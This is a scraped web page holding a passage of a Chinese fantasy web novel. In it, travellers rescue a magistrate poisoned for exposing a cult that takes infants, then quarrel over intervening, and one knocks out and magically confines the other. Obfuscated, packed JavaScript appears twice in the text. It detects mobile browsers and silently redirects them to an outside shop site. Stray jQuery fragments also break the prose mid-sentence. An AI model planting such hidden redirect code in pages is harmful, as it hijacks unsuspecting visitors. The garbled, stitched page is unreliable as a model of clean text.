;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998680|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
约莫半炷香后,讲经结束。神使宣布今日“赐丹”仪式开始,香客们顿时激动起来,纷纷起身排队。
只见两名教众抬出一个三尺见方的紫檀木箱,打开后,里面整整齐齐码放着数十个玉瓶。神使手持名册,一个个点名,被点到名的香客便上前跪接玉瓶,激动得浑身颤抖。
祝君竹看到,那些玉瓶大小不一,颜色也有红、蓝、白之分。听旁边香客窃窃私语,红色是上品灵丹,赐给供奉了纯阳之体童子的人家;蓝色是中品,赐给供奉了纯阴之体的人家;白色是下品,赐给供奉了普通童子的家庭。
“纯阳之体……纯阴之体……”祝君竹喃喃低语,忽然想起小悠的孩子才三个月大,眉心有颗红痣——那会不会就是所谓的“纯阳之体”?
她正思索间,忽然听到殿外传来一阵喧哗。
“让开!都让开!本官要见神使!”
一个穿着青色官袍的中年男子不顾教众阻拦,强行冲入大殿。他约莫四十出头,面容端正,此刻却满脸怒容,官袍凌乱,显然是一路挤进来的。
正是江阳镇司命使!
殿内香客一阵骚动,纷纷让开道路。
高台上的神使面色不变,淡淡道:“原来是周大人。不知大人擅闯圣殿,所为何事?”
周文远——镇司命使指着那些排队领丹的香客,厉声道:“本官今日来,是要告诉诸位乡亲父老真相!你们手中的所谓灵丹,根本不是什么仙家妙药!你们献上的孩子,也不是去修行得道!”
他声音洪亮,震得殿宇嗡嗡作响:“本官暗中查访多日,已查明真相!这些孩子被真灵教以邪法封印,装入特制木箱,每旬子夜从江边码头上船,运走了!他们要这些未满周岁的童子,根本不是为了教导修行,而是另有所图!”
此言一出,满殿哗然!
“胡说八道!”
“周大人,你莫要血口喷人!”
“神使赐丹,我等亲身体验,岂能有假!”
香客们群情激奋,不少人指着周文远大骂。
周文远却毫不退缩:“本官有证据!还有几名被买通的船工口供!这些孩子被运走后,再无音讯!诸位想想,若真是去修行,为何从不许家人探望?本官劝你们,还是归还孩子,或许还可落得个从轻发落!”
“够了!”
神使忽然一声断喝,声音中蕴含灵力,震得众人耳膜生疼。
他缓缓走下高台,来到周文远面前,面色依旧平静,眼中却闪过一丝阴冷:“周大人,你无凭无据,污蔑本教,煽动百姓,是何居心?州府早有明文,真灵教乃合法教派,信徒供奉童子乃自愿行为。你屡次三番挑衅,莫非是受了什么人的指使,故意与仙缘作对?”
“本官受的是朝廷之命,行的是为民之责!”周文远昂首挺胸,“你等妖言惑众,拐骗童子,本官今日就要将你们……”
他话未说完,人群中忽然冲出七八个汉子,均是信众打扮,将他团团围住!其中一个喊道:
“打死这个狗官!”
“对!阻人仙缘,天理不容!”
“把他绑起来,送到州府治罪!”
“你自己有官身,却不愿他人有出头之日?真是黑心!”
这些汉子显然也身手不俗,个个身手矫健,出手狠辣。周文远虽有些修为,但双拳难敌四手,很快便被打倒在地,官帽跌落,发髻散乱。
“住手!”周文远口吐鲜血,仍嘶声大喊,“愚民!愚民啊!你们醒醒吧!那些孩子是你们的骨肉啊……”
香客们非但无人上前相助,反而有人跟着叫好:
“打得好!”
“周文远,你三番五次污蔑神使,早就该打了!”
“把他送到州府,革职查办!”
场面彻底失控。
祝君竹看得心急,正要上前,林疏星却按住了她的手腕。
“莫急。”他低声道,目光扫过大殿四角,“那几个教众在布阵。”
祝君竹这才注意到,四名黑衣教众不知何时已悄然站定在大殿四个方位,手中各持一面黑色小旗,正默默催动灵力。一股隐晦的波动在大殿内蔓延开来,空气中弥漫起淡淡的雾气。
“是‘迷心雾阵’。”林疏星眼神锐利,“此阵能令人丧失理智,这些香客原本就深信真灵教,在阵法影响下,只会更加狂热。”
果然,殿内香客的情绪越来越激动,不少人开始朝周文远扔东西。周文远被打得头破血流,奄奄一息。
“再这样下去,他会死。”祝君竹咬牙道。
林疏星环视四周,快速分析着形势。正门被教众把守,后门紧闭,两侧偏殿也有守卫。强闯救人,风险极大。
他忽然看向大殿顶部的横梁,眼中闪过一丝决断。
“待会儿我会制造混乱。”林疏星从袖中取出一枚刻画着繁复符文的玉符,“这是我改良的‘风雷乱灵阵’阵符,激发后可引动小范围灵气暴乱,形成风雷异象,持续约十五息。你趁机救人,我们从西侧偏殿的窗户走。”
祝君竹顺着他目光看去,西侧偏殿的窗户虽小,但以他们的身手,足以破窗而出。
“好。”她点头,“但你要小心,莫要暴露身份。”
林疏星深深看她一眼,那眼神中有嘱托,有关切,却转瞬即逝。他低声道:“阵符激发后三息,你便行动。记住,救人后立刻撤离,莫要恋战。”
祝君竹感受到他话语中的郑重,心头微暖,点头应下。
两人交换一个眼神,林疏星悄然退到一根立柱后,指尖灵力注入玉符。
祝君竹则借着人群掩护,缓缓靠近周文远所在位置。
此刻周文远已被打得不成人形,几个壮汉仍不罢休,拳脚相加。周围香客高声叫骂,场面混乱无比。
突然——
“轰隆!!!”
一声震耳欲聋的惊雷毫无征兆地在殿顶炸响!
紧接着,狂风骤起!殿内烛火剧烈摇曳,无数灯盏翻倒,琉璃破碎声不绝于耳!狂风裹挟着砂石从门窗缝隙涌入,打得人睁不开眼!更诡异的是,风中竟夹杂着细密的电弧,噼啪作响,触之便令人浑身麻痹!
“怎么回事?!神使降怒了吗?”
“天罚!是天罚吗?!”
“我的眼睛!我看不见了!”
人群大乱,抱头鼠窜。那雷声、风声、电弧爆裂声混成一片,加上灵气暴乱带来的心悸感,让所有人都陷入恐慌。迷心雾阵被风雷之力冲散,香客们恢复了些许理智,但恐慌情绪更甚,争先恐后朝殿门涌去,挤作一团。
四名布阵的教众被狂风吹得东倒西歪,手中阵旗脱手。高台上的神使脸色大变,厉喝道:“稳住!不要乱!”
然而无人听他的。
祝君竹抓住时机,身形如电般掠出,一掌震开两个还在踢打周文远的壮汉,抓起周文远扛在肩上,转身便朝西侧偏殿冲去!
“有人抢人!”
“拦住他!”
有教众看到,大声呼喊。但风雷肆虐,视线模糊,等他们反应过来追上去时,祝君竹已扛着人冲进了偏殿。她一掌震碎窗户,双足一点,轻轻跃出。
窗外是一条僻静小巷,距离主街有段距离。风雷异象正在减弱,但殿内的混乱声依旧震天。
“跟我来。”林疏星及时赶到,在前引路,两人在小巷中快速穿行。
周文远伤势极重,气息微弱。祝君竹边跑边往他体内渡入灵力,勉强护住心脉。
“必须找个安全地方给他疗伤。”她急道。
林疏星点头他带着祝君竹左拐右绕,转进另一条更窄的巷子,寻到一处荒废的小院前。
小院院门虚掩,门上挂着的铜锁锈迹斑斑。院内杂草丛生,三间瓦房破败不堪,显然久无人居。
林疏星推门而入,祝君竹跟进来,把周文远放在房中一张破旧不堪的床榻上。
林疏星向外看了看,“此地偏僻,真灵教一时半刻找不到。”
她查看周文远的伤势,越看心越沉。肋骨断了三根,内腑出血,更棘手的是不知何人下了剧毒,已侵入心脉。
林疏星取出疗伤丹药喂他服下,又以灵力助他化开药力,但效果微乎其微。
周文远咳嗽着醒来,看到二人,先是警惕,待看清他们面容陌生,不似真灵教众,才稍稍放松,哑声问:“是……是你们救了我?”
祝君竹道,“大人伤得很重,莫要多言,先调息。”
周文远却挣扎着要坐起来:“不……我时间不多了……你们……听我说……”
他每说一句话,嘴角都溢出黑血。林疏星按住他,沉声道:“大人,您伤势太重,强行逼毒恐伤及根本。需要……”
“不必了……”周文远惨笑,“我……早知必有今日……那真灵教的神使……袖中藏针……刺中我时……我便知……”
他喘息着:“真灵教运送童子的……我本想再……查下去……现在……拜托二位了……”
他又看向林疏星,眼神涣散,却仍撑着最后一口气:“二位……不管你们是谁……求你们……救救那些孩子……他们定是用于某种邪恶勾当……江阳百姓愚昧……但孩子无辜啊……”
“大人可知,天极州那边,具体是何人在接收这些孩子?”林疏星问。
周文远摇头:“本官……不知……但昨夜……有黑篷船来……船上的人……修为高深……不是寻常教众……我怀疑……怀疑与朝中……”
他话未说完,忽然剧烈咳嗽起来,咳出大口大口的黑血。脸上泛起不正常的青黑色,呼吸越来越急促。
“大人!”祝君竹急道。
周文远死死抓住她的手,眼睛瞪得极大,用尽最后力气嘶声道:“……救孩子……救……”
话音戛然而止。
他睁着眼,望着破败的屋顶,眼角淌下一行浑浊的泪,气息断绝。
屋内一片死寂。
愤怒……悲凉……祝君竹分不清楚是什么感觉在胸中翻腾。
林疏星上前,轻轻合上周文远的双眼。
林疏星看向她,眼中闪过复杂神色,但最终只化作一声轻叹。又从芥子袋中取出个玉符,将周文远的遗体收入,藏在房屋的椽檩之间。
“此物可保他尸身不腐。我们不可在耽搁了,只能等一切事了,再为他正名下葬。”他低声道。
祝君竹点了点头。
“我们先回船。江阳镇出了这么大的事,真灵教定会全城搜查。此地虽隐蔽,但不宜久留。” 她抬头看了看天色,已近黄昏。
两人将屋内痕迹清理干净,又在小院周围布下几个隐匿气息的小阵,这才悄然离开。
返回码头的路上,气氛明显紧张了许多。街上多了不少镇兵巡逻,真灵教的教众也在四处搜查,盘问可疑行人。两人绕开主要街道,总算有惊无险地回到了青蛟号。
敖清澜和清音早已回船,正在客舱中等得焦急。见二人回来,清音立刻扑低声道上来:“小姐!公子!你们可算回来了!听说镇上出大事了,真灵教的圣殿被人闹了,司命使大人失踪,现在全城戒严呢!可是不是你们?”
祝君竹与林疏星对视一眼,将今日所见所闻简要说了一遍。
舱外,最后一缕天光沉入江底。
青蛟号静静停泊在码头,等待着明日启航,继续逆流而上,驶向那座汇聚了所有光明与黑暗的巍巍天都。
16. 第十五回 夜议分歧心难平
青蛟号静静停泊在江阳镇码头。
夜幕早已落下,江面上浮动着星星点点的渔火,与岸上镇子里零星亮起的灯火交相辉映,衬得江水更加幽深漆黑。晚风带着江水的湿气和初秋的凉意,透过半开的舷窗,拂进三楼的玄字房。
房中烛火摇曳。
祝君竹坐在窗边的椅子上,望着窗外沉沉的夜色,手中无意识地摩挲着温热的茶杯。茶水早已凉透,她却浑然不觉。
清音坐在她对面,双手托腮,小脸上写满担忧。她看看祝君竹,又看看坐在桌另一侧的林疏星,嘴唇动了动,想说些什么,最终还是闭上了。
“怎么办?”祝君竹忽然道。
林疏星端坐着,指尖在桌面上轻轻敲击,发出有节奏的轻响。他在思考,眉宇间凝着罕见的凝重。
舱内的空气沉重得几乎能拧出水来。
良久,林疏星站起身,从袖中取出四面巴掌大小的杏黄阵旗。他走到舱房四角,将阵旗依次插入墙壁缝隙,指尖灵光闪烁,在每面阵旗上勾勒出繁复的符文。
“这是‘隔音阵’。”他解释道,声音平静,“可使房内声音无法被外界窥听。”
祝君竹看着他动作,没有说话。
最后一枚阵旗落下,林疏星双手结印,低喝一声:“启!”
四面阵旗同时亮起微光,无形的波动在房间内扩散开来,形成一个透明的能量罩,将整个舱房笼罩其中。外界的江涛声、风声、码头上隐约的人声,瞬间变得模糊遥远,仿佛隔着一层厚厚的水幕。
林疏星走回桌边坐下,这才开口:“今日之事,都已清楚。江阳镇司命使周文远为揭露真灵教真相,死于非命。真灵教以邪法蛊惑百姓,骗取未满周岁的童子,背后必有更大图谋。”
他的声音平稳,却字字清晰:“现在,祝姑娘有此一问,怕是已然做了决断了罢?”
祝君竹转过头,烛光在她眼中跳动:“对!这事不能不管!”
她说得毫不犹豫。
林疏星看向她:“有何理由?”
“三条。”祝君竹放下茶杯,坐直身体,“第一,周文远临死所托。他身为朝廷命官,为救百姓舍生取义,临终之言,不可辜负。”
“第二,那些孩子。无论真灵教要他们做什么,未满周岁的婴儿何辜?眼睁睁看着他们被送入虎口,我做不到。”
“第三,”她顿了顿,声音更沉,“此事绝非孤例。周文远说,天瀑江沿岸数个村镇都有孩童失踪,江阳只是其中之一。这说明真灵教的触角已经蔓延甚广。若我们视而不见,日后必有更多孩子遭殃,更多家庭破碎。”
她说得条理分明,目光坚定。
清音用力点头:“小姐说得对!那些孩子太可怜了!还有那个小悠娘子,孩子丢了,人都疯了……我们不能不管!”
林疏星沉默片刻,缓缓道:“你说的,我都明白。但我们要如何管?”
他站起身,走到舷窗前,望向岸上那片黑暗中的镇子:“真灵教能在江阳如此肆无忌惮,甚至能让州府下发公文承认其‘合法’,背后必有官场势力庇护。周文远一个镇司命使,说杀就杀了,这已不是寻常邪教作乱,怕是有盘根错节的利益网络。”
祝君竹点头表示认同。
他转过身,烛光在他脸上投下明暗交错的光影:“我们三人,如今是什么身份?祝姑娘,你与清音是定岳王府满门抄斩后‘侥幸逃脱’的余孽,朝廷海捕文书上的要犯。我,是‘已故’的前太子凌炽阳,若身份暴露,仇家绝不会放过。”
他接着道:“我们自身尚且难保,如临深渊,如履薄冰,稍有差池,便是万劫不复。”
祝君竹抿紧嘴唇。
林疏星继续道:“再者,我们此行的目的是什么?是返回天都,查明定岳王府冤案的真相,为江家满门、为那些枉死的将士讨回公道。此事关乎朝堂党争,关乎仙朝社稷,这才是我们的目标。若非如此,我们请敖清澜做个引荐,去东海隐居,不问世事。常伴沧海扁舟,岂不快哉?”
他走回桌边,双手撑在桌沿,俯身看着祝君竹:“江阳镇之事,固然令人愤慨,但若我们在此地暴露行踪,打草惊蛇,真灵教背后的势力必会警觉。届时,我们不仅救不了那些孩子,还会让天都的仇敌提前做好防备,让真正的元凶逍遥法外。”
他的声音低沉而理智:“依我之见,不可贸然涉险。我们可设法将真灵教的罪行密报仙朝——并非炎州官府,而是更高层,比如天机殿或玄心监在地方的眼线。仙朝自有法度,只要证据确凿,上层得知此事,必会派人彻查。如此,既能惩治真灵教,又不至于暴露我们自己。”
他顿了顿,补充道:“此外,明日辰时船就要启航继续北上。我们在此地停留时间有限,即便想管,也难有作为。更重要的是——”
林疏星直视祝君竹的眼睛:“你看到今日那些香客了吗?他们并非被迫,而是自愿将孩子送入真灵教,甚至以此为荣。周文远当众揭露真相,换来的不是醒悟,而是围攻。民众根本认为神使是在赐予他们仙缘。就算我们今夜偷偷救出几个孩子,明天他们的父母可能又会亲自送回去,甚至向真灵教告发我们。”
他的分析冷静到近乎冷酷:“所以,真正要解决问题,不是救几个孩子,而是查明真灵教的内幕,揪出其背后的主使,斩断这条利益链条。这需要时间、需要深入调查、需要从长计议——不是我们路过此地,仓促间能完成的。”
祝君竹静静听完。
烛火在她眼中跳动,映出复杂的光。她知道林疏星说得有道理,每一句都立足于现实考量,理智而周全。
可是——
“林公子,”她缓缓开口,声音有些发涩,“你说密报仙朝,自有公断。那么我问你,周文远难道没有试图向上呈报吗?他一个镇司命使,难道不懂得官场程序?可他最后还是选择了当众揭露,为什么?”
她站起身,与林疏星对视:“因为官匪相通。因为州府早已下发公文,承认真灵教合法。因为从地方到州郡,这条利益链上的人都得了好处。”
祝君竹的声音渐渐提高:“你说需要时间查清内幕,揪出主使。那需要多久?一个月?半年?一年?在这期间,会有多少孩子被送进真灵教?会有多少像小悠那样的母亲发疯甚至自尽?周文远用命换来的证据,等你们层层上报、慢慢核查的时候,真灵教早就把痕迹抹干净了!”
她深吸一口气:“我的想法很简单——既然官府不可信,那我们就自己来。真灵教的神使是这一切的执行者,是直接祸害百姓的元凶。我们今夜就潜入那个圣殿,找到神使,逼问出童子的下落和运送路线。若能救,当场救人;若不能,至少除掉这个祸害,让真灵教在江阳的运作瘫痪一段时间,给其他可能还在调查此事的人争取时间。”
“至于暴露身份——”祝君竹顿了顿,“我们可以蒙面行事,不留活口。事后迅速撤离,明日一早随船离开,他们未必能查到我们头上。”
“天真。”林疏星摇头,语气依然平静,却带着不容置疑的坚定,“圣殿中必有高手护卫,甚至可能布置了阵法。我们三人中,清音所习“五音秘法”尙浅,战力有限,真正能动手的只有你和我。而你又不善近身搏杀,上次水匪来袭,若非清音舍命护主,你怕是早做了刀下亡魂。临阵相争,谁会给你时间集中精神释放秘法?若陷入重围,如何脱身?”
他走向祝君竹,声音低沉:“再者,即便成功杀了神使,真灵教就灭了吗?这种邪教组织,最不缺的就是执行者。你杀一个,他们补一个,江阳的百姓依旧愚昧,依旧会送孩子上门。而我们的行踪却可能因此暴露——别忘了,玄影监的人还在找我们,天都那边,眼线无处不在。绝不能因小失大!”
他停在祝君竹面前一步之遥,烛光将两人的影子投在舱壁上,几乎重叠。
祝君竹却退后了一步,呼吸加速。
“祝姑娘,我理解你的愤怒,你的不忍。”林疏星看到祝君竹的反应,声音放柔和了些,却依然坚定,“但成大事者,需知取舍,需懂权衡。我们如今的力量太微弱,每一步都必须走得谨慎。为了几个可能根本救不回来的孩子,赌上我们所有人的性命、赌上为定岳王府翻案的唯一机会——这不值得。”
“不值得?”祝君竹重复这三个字,忽然苦笑,“林公子,在你眼中,那些孩子的命,那些家庭的破碎,就只是‘不值得’三个字吗?”
她后又退半步,眼神却锐利如刀:“你说我们自身难保,是蝼蚁。那那些孩子呢?那些被父母亲手送入虎口的婴儿呢?他们连蝼蚁都不如吗?”
林疏星沉默。
她的声音颤抖起来:“当时,清音告诉我,定岳王府满门抄斩,无一生还。若你当时在朝,你会救他们吗?”
林疏星有些震惊的看了她一眼,一时语塞。
她盯着林疏星,眼圈泛红:“怕是也会觉得‘不值得’吧?因为要权衡利弊,也要考虑自身安危。所以江家人死得悄无声息,连个收尸的人都没有。”
“如今轮到江阳镇这些孩子。”祝君竹的声音低了下去,“如果我们也不管,那他们就会像江家的人一样,悄无声息地消失,连个记得他们的人都找不到。然后真灵教会继续扩张,会有更多镇子、更多孩子遭殃。等到终于有人觉得‘值得’去管的时候,已经不知道有多少冤魂了。”
舱内死寂。
林疏星站在那里,烛光在他脸上明明灭灭。他看着祝君竹,看着她眼中那种近乎悲愤的执拗,忽然想起很久以前,也有一个人用这样的眼神看过他。
那是他的弟弟凌清阳,很多年前,当他还是太子凌炽阳的时候。
那年清阳七岁,养的一只白兔被宫中内侍不小心踩死了。小清阳抱着兔子的尸体哭了整整一夜,第二天红肿着眼睛来找他:“皇兄,你能不能让父皇下旨,以后宫里不许人养兔子了?”
他当时觉得好笑,摸着弟弟的头说:“一只兔子而已,死了就死了,何必如此?”
清阳抬头看他,眼中是同样的悲愤:“皇兄,兔子也是一条命啊!它也会疼,也会害怕,它什么都没有做错,为什么死了就只是‘而已’?”
那时他无法理解弟弟的天真。他是太子,从小被教导要着眼大局,要懂得取舍。一只兔子的死活,在朝堂博弈、边境战事、民生大计面前,确实只是“而已”。
可现在,看着祝君竹的眼睛,他忽然明白了清阳当年的心情。
也忽然明白了,为什么母后总说清阳“妇人之仁,难成大事”。
“祝姑娘,”林疏星缓缓开口,声音有些沙哑,“我并非冷血。只是经历太多,看得太多,知道有些事情,不是凭一时冲动就能改变的。这个世道……”
他顿了顿,似乎在选择措辞:“这个世道,本就是弱肉强食。我们在当权者眼中是蝼蚁,而那些孩子在更强者眼中,连蝼蚁都算不上。我们救得了一时,救不了一世。想要真正改变什么,必须让自己先强大起来,必须爬到足够高的位置,掌握足够大的权力——到那时,你说的话才有人听,你定的规矩才有人守。才能将这些势力连根拔起,永绝后患。”
他看着祝君竹,眼神复杂:“所以,当务之急是保全自己,积蓄力量,回到天都,拿回属于我们的东西。等我们不再是蝼蚁的时候,才能保护更多想保护的人。”
祝君竹摇头,笑容惨淡:“林公子,你说得对,这个世道是弱肉强食。但正因为如此,我才更要去救那些孩子——因为如果连我们都不救,就真的没有人会救了。他们初降人世,身边无父母疼爱,只能孤独的在黑暗中等死。我出生父亲便不在人世,三岁母亲又离我而去,我独自在黑暗中太久了!我懂得那种痛苦!”
她转过身,望向窗外漆黑的江面:“你说要等到强大之后。可强大需要时间,那些孩子没有时间。等我们终于强大的那一天,回头再看,脚下早已堆满了来不及救的尸骨。”
她顿了顿,声音轻得像叹息:“林公子,你曾是太子,身居高位,习惯了从大局着眼,习惯了权衡利弊。可我不一样。我从另一个世界而来,那里虽然也有不公,但至少有一条底线——孩子的命,是最重要的。任何理由,任何大局,都不能成为牺牲孩子的借口。”
祝君竹回过头,眼中闪着执拗的光:“你说我们是蝼蚁,自身难保。可蝼蚁也有蝼蚁的活法——它们虽然弱小,但遇到危险时,会互相叼着同伴逃命。如果我们连身边的蝼蚁都不愿救,那等我们真成了强者,又会变成什么样的人?会不会也像那些高高在上的人一样,视人命如草芥?”
林疏星沉默了。
烛火噼啪作响,在寂静中格外清晰。
良久,他低声道:“所以,你坚持要去?”
“是。”
“哪怕可能暴露行踪,让天都的仇敌警觉?”
“是。”
“哪怕可能因此丧命,让定岳王府的冤案永无昭雪之日?”
祝君竹闭上眼,深吸一口气,再睁开时,眼中只剩决绝:“若为了报仇,就要对眼前的苦难视而不见,那这仇报了又有什么意义?江家的冤要申,江阳孩子的命也要救。若真因此而死——”
她顿了顿,一字一顿:“那至少,我死得像个‘人’,而不是一只只顾自己逃命的‘蝼蚁’。”
最后一句话,像一把刀子,刺进林疏星心里。
他怔怔看着祝君竹,看着她眼中那种近乎悲壮的坚定,忽然觉得胸口闷得厉害。
他想说什么,却发现喉咙发紧,一个字都说不出来。
他想告诉她,他不是冷血,他只是见过太多死亡,知道盲目换不来胜利,只会换来更多死亡。他想告诉她,他何尝不想救那些孩子,可他肩上扛着太多——旧部在等他回去,定岳王的冤案需要他查明,朝堂的污浊需要他清洗,这个国家的未来……
可这些话,在祝君竹那双清澈而执拗的眼睛面前,显得如此苍白。
最终,他只能缓缓摇头,声音疲惫:“既然你执意如此,那我无话可说。但清音必须留下——她修为尚浅,去了只会平添麻烦。”
清音急道:“不行!公子!我要跟小姐一起!”
“清音,听话。”祝君竹摸了摸她的头,“你留在船上,若我真回不来……你就跟着林公子,继续往天都去。总得有人记得江阳发生过什么。”
清音眼泪刷地流下来,死死咬着嘴唇。
祝君竹不再多言,转身走向自己的床铺,开始准备夜行衣。
林疏星站在原地,看着她的背影,眼神复杂难明。
他忽然想起什么,走到桌边,提笔快速书写。
清音凑过去看,只见他写的是:“金老板台鉴:今夜有急事,需离船数个时辰。若明日辰时我们未归,烦请按原计划启航,不必等候。船资加倍奉上,另附灵石五十枚,以表歉意。林某顿首。”
写完,他将信折好,又从芥子袋中取出一个小布袋,里面装着五十枚中品灵石,与信放在一起。
“清音,”他低声道,“这封信和灵石你收好。若我们天亮未归,你就交给金老板。记住,无论如何,保护好自己。”
清音接过信和灵石袋,眼泪又涌出来:“公子,你……你也要去?”
林疏星没有回答,只是深深看了祝君竹一眼,然后转身走出舱房。
祝君竹动作一顿,但没有回头。
清音抹着眼泪,小声道:“小姐,公子他……他其实很担心你的。你们别吵了……”
“我没有跟他吵。”祝君竹平静地说,“只是选择了不同的路。”
她换好夜行衣,蒙上面巾,只露出一双眼睛。那双眼睛在烛光下清澈而坚定,没有一丝犹豫。
“清音,我走了。”
“小姐……”清音拉住她的衣袖,“你一定要回来啊!我等你!”
祝君竹抱了抱她,然后推开舱门,融入外面的黑暗。
甲板上空无一人,只有江风呼啸。
祝君竹深吸一口气,正要跃下船去——
后颈突然传来一阵精准的钝痛。
她眼前一黑,只来得及意识到发生了什么,意识便迅速涣散。在彻底陷入黑暗前,她隐约看到林疏星沉静的脸出现在视线边缘,那双眼中翻涌着她看不懂的复杂情绪。
身体软软倒下。
林疏星伸手接住她,动作轻而稳。他将祝君竹横抱起来,转身走回舱房。
清音还站在原地发愣,见林疏星抱着昏迷的祝君竹回来,惊得捂住嘴:“公子,你……”
“把门关上。”林疏星声音平静。
清音慌忙关上门。
林疏星将祝君竹小心放在床上,为她盖好被子。月光从舷窗照进来,落在祝君竹苍白的脸上,她眉头微蹙,即使在昏迷中,似乎也带着不甘。
“公子,你……你把小姐打晕了?”清音声音发颤。
“嗯。”林疏星简短应道,从袖中取出四面巴掌大小的杏黄阵旗,在房间四角重新布置。
这不是隔音阵,而是更复杂的“小须弥困灵阵”。阵旗落下,灵光流转,无形的屏障将整个舱房封锁。从内部看,门窗依旧,但若想强行突破,便会触发阵法反制。
“这个阵法会维持到明天中午。”林疏星解释道,声音里听不出情绪,“她冲不破的。”
清音咬着嘴唇,看看昏迷的祝君竹,又看看林疏星,最终低下头不说话。
林疏星看向窗外沉沉的夜色,良久,才低声道:“我就在外面守着。你照顾好她。”
说完,他推门而出,轻轻带上门。
清音坐在床边,看着昏迷的祝君竹,又看看紧闭的舱门,只觉得心里乱糟糟的。她不懂公子为什么要这样做,也不懂小姐为什么那么生气。她只知道,从今晚起,有些东西不一样了。
子时。
青蛟号静静停泊在码头,大多数乘客已沉入梦乡。
林疏星独自站在船尾甲板上,手中无意识地摩挲着一枚玉简——那是白日里用过的风雷乱灵阵阵符。
他没有去。
理智告诉他,去就是送死。一个人潜入戒备森严的圣殿,救出近百个婴儿,还要全身而退——这是不可能的。
但胸口那块地方,堵得难受。
他想起了祝君竹那双执拗的眼睛,想起了她说“至少我死得像个‘人’”时的表情。
也想起了很多年前,弟弟清阳抱着死去的兔子,哭着问他“兔子也是一条命啊”时的眼神。
有些事,明知不可为,却还是忍不住会想:如果去了呢?如果赌上性命,是不是能救出几个孩子?
但这个念头很快被理智压下。
他是林疏星,也是凌炽阳。他肩上有太多责任,有太多人在等他回去。他不能为了一时的热血,赌上所有人的希望。
“对不起。”他对着江阳镇的方向,轻声说。
不知是对那些孩子说,还是对祝君竹说,还是对很多年前的自己说。
寅时初,天色最暗的时候。
祝君竹在昏沉中醒来。
后颈还在隐隐作痛,提醒着她昏迷前发生的事。她猛地坐起身,发现自己仍在舱房中,清音趴在床边睡着了。
“清音。”她推了推清音。
清音迷迷糊糊醒来,见祝君竹醒了,惊喜道:“小姐,你醒了!”
“现在什么时辰?”祝君竹问,声音有些沙哑。
“寅时刚过。”清音小心翼翼地看着她,“小姐,你……你还好吗?”
祝君竹没有回答,掀开被子下床,径直走向舱门。
手刚碰到门板,一股无形的力量突然反弹回来,震得她手腕发麻。门板上泛起淡金色的符文流光,随即隐没。
“这是……”祝君竹脸色一沉。
“公子布了阵法,专门困住你……”清音越说声音越小,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998681|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他说,这个阵法会维持到明天中午。”
祝君竹没有说话,转身走向舷窗。同样,手指刚触到窗框,金色的符文再次浮现,将她阻隔在内。
她尝试调动灵力冲击,但灵力触到阵法屏障的瞬间,就像泥牛入海,消散无踪。阵法不仅坚固,还有吸收灵力的特性。
“好,好得很。”祝君竹冷笑起来,眼中却是一片冰寒,“把我当囚犯一样关起来。林疏星,你真是好样的。”
清音急道:“小姐,公子他也是为你好……”
“为我好?”祝君竹转身看着她,眼中寒意让清音下意识后退半步,“把我打晕,把我关起来,替我决定什么该做什么不该做——这算哪门子的‘为我好’?”
她走回床边坐下,闭上眼睛,胸口剧烈起伏。
愤怒,失望,还有被背叛的刺痛——她那么信任他,甚至在他说不去的时候,心里还抱着一丝期待,期待他能理解她,支持她。
结果呢?
他直接用最简单粗暴的方式,否定了她的一切。
“清音,”祝君竹忽然开口,声音平静得可怕,“你回房吧。我想一个人静静。”
“小姐……”
“快去。”
清音不敢再多言,默默从内门回了房间。
门关上,房间内只剩下祝君竹一人。
她坐在床边,望着窗外的黑暗,许久没有动。江阳镇方向的火光已经熄灭,夜色重新吞噬一切,仿佛什么都没发生过。
但祝君竹知道,有什么已经发生了。
那些孩子,那些被父母亲手送入虎口的婴儿,此刻或许正在被装上船,运往不知名的地方。而她却在这里,被关在安全的牢笼里,什么都做不了。
“林疏星,你说得对,我们太弱小。”她低声自语,声音在空荡的房间里显得格外清晰,“但弱小不是借口。如果因为弱小就什么都不做,那我们就永远都是蝼蚁。”
她闭上眼睛,开始运转灵力。
既然出不去,既然什么都做不了,那就修炼吧。
只有变得更强,才能打破这牢笼,才能做想做的事,保护想保护的人。
意识沉入体内,灵力沿着经脉缓缓流转。祝君竹尝试着调动那种在玉京山领悟的秘法——那种能感知能量本质的奇特能力。自打出了玉京山核心之后,她就没再尝试过。
困住她的这个阵法,是一个精密的能量结构。无数细密的能量线纵横交织,形成牢不可破的屏障。这些能量线的流动有特定的规律,像编程中的逻辑循环,周而复始,生生不息。
如果能理解这个规律,如果能找到其中的破绽……
窗外的天色从最深沉的黑暗,渐渐转为黛青,又染上鱼肚白。江面上泛起晨雾,码头上开始有了人声。
祝君竹浑然不觉。
她全部心神都沉浸在那种玄奥的状态中。随着感知的深入,她发现这个阵法的能量结构虽然复杂,但并非无懈可击。能量线的流动有节奏,有节点,在某些特定时刻,某些节点的能量会暂时减弱。
就像程序,总有会有BUG(漏洞)。
如果能抓住这些BUG(漏洞)……
祝君竹睁开眼睛,双手开始尝试结印,她正在根据自己的理解创造出新的手势。她在尝试用自己的方式,去“理解”和“沟通”这个阵法。
指尖灵力凝聚,却不是简单的能量输出,而是经过精密计算的、带有特定频率和波形的脉冲。
她瞄准阵法屏障的一个能量节点,一指点出。
嗡——
屏障泛起涟漪,但很快恢复平静。
不对。脉冲的频率不对,无法与阵法能量产生共振。
祝君竹并不气馁,调整频率,再次尝试。
一次,两次,三次……
